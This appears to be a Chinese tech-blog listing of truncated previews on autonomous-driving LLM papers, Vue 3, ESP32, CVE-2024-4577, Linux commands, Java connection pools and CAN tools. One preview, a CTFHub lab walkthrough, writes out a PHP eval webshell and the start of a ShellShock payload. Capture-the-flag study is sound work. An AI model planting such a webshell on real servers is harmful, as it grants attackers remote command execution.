前言 本文主要涉及以下4篇paper的解读(按发表的时间顺序排列) DriveGPT4: Interpretable End-to-end Autonomous Driving via Large Language ModelDriveMLM: Aligning Multi-Modal Large Language Models with Behavioral Planning States for Autonomous DrivingDriveLM: D…

在 Vue 3 中，组件间传值有多种方式，以下是几种常见的方式 父组件向子组件传值（通过 props）：以下是几个父组件向子组件传值的示例：示例 1：传递字符串示例 2：传递数字示例 3&#xff1…

31集【求助】AIGC返回的对话内容文字转语音失败-《MCU嵌入式AI开发笔记》 问题描述 ESP32 C3开发板把AIGC大模型返回的对话文字转语音的时候出现错误。 我们先看一下附件Log， 梳理一下程序流程 按键，收到event Event received， cmd:1, da…

LD_PRELOAD url 蚁剑连接 选择插件 点击开始 查看到此文件名编辑连接拼接到url后面重新连接 点击开启终端 在终端执行命令 ls / /readfile ShellShock url CTFHub 环境实例 | 提示信息 蚁剑连接 写入shell.php <?phpeval($_REQUEST[ant]);putenv("PHP_test() { :…

1.漏洞描述 CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的&#xff0c;相对来说PHP在这个漏洞里更像是一个受害者。 PHP语言在设计时忽略了Windows系统内部对字符编码转换的Best-Fit特性&#xff0c;当PHP运行在Window平台且使用了如…

系统运维监控类命令 查询每个进程的线程数 for pid in $(ps -ef | grep -v grep|grep "systemd" |awk {print $2});do echo ${pid} > /tmp/a.txt;cat /proc/${pid}/status|grep Threads > /tmp/b.txt;paste /tmp/a.txt /tmp/b.txt;done|sort -k3 -rn for pid…

Java 数据库连接池是一种用于管理和复用数据库连接的技术&#xff0c;它能够显著提高应用程序的性能和可扩展性。连接池通过预先创建并维护一定数量的数据库连接&#xff0c;当应用程序需要访问数据库时&#xff0c;可以直接从连接池中获取一个可用的连接&#xff0c;而不需要每…

参考教程&#xff1a;01 新建工程及通道配置_哔哩哔哩_bilibili 1、CAN IG &#xff08;1&#xff09;用户可以使用CAN IG发送自定义的报文或者是数据库里的报文到CAN总线上。 &#xff08;2&#xff09;CAN IG模块的添加与配置&#xff1a; ①在Simulation Setup窗口中右击…